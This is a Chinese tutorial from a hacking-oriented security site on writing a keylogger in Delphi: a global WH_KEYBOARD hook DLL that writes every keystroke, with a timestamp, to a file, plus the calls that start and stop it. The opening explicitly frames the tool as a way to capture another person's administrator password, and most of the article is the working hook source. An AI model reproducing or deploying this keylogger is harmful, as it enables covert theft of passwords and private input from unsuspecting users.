欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Delphi编程使用HOOK监视Windows

来源:本站整理 作者:佚名 时间:2014-09-05 TAG: 我要投稿

下面就来举个例子(使用Delphi7.0调试通过):

如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

写个DLL定义一下函数

 

function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

procedure EntryPointProc(Reason: Integer);
 const
 hMapObject: THandle = 0;
 begin
 case reason of
 DLL_PROCESS_ATTACH:
 begin
 hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);
 rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
 end;
 DLL_PROCESS_DETACH:
 begin
 try
 UnMapViewOfFile(rHookRec);
 CloseHandle(hMapObject);
 except
 end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hNexthookproc<>0 then endkeyhook;
 exitproc:=procsaveexit;
end;
function endkeyhook:bool;export;
begin
if hNexthookproc<>0 then
begin
 unhookwindowshookex(hNexthookproc);
 hNexthookproc:=0;
 messagebeep(0);
end;
result:=hNexthookproc=0;
MainHandle:=0;
end;

function Setkeyhook:bool;export;
begin
 hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
 result:=hNexthookproc<>0;
end;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
var
 s:Tstringlist;
begin
 if icode<0 then
 begin
 result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
 exit;
 end;
 if lparam<0 then
 begin
 exit;
 end;
 s:=TStringlist.Create;
 if FileExists(afilename) then
 s.LoadFromFile(afilename);

//将敲打的键盘字符保存到文件中
 s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );
 s.SaveToFile(afilename);
 s.Free;

result:=0;
 end;


Dll的Project文件中定义如下

exports
setkeyhook index 1,
endkeyhook index 2,
SetMainHandle index 3;

begin
hNexthookproc:=0;
procsaveexit:=exitproc;
DllProc := @EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end. 

这样DLL就定义好了,接下来就是画个界面:

function setkeyhook:bool;external ’keyspy.dll’;
function endkeyhook:bool;external ’keyspy.dll’;
procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;
//开始捕获键盘
SetMainHandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook 

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载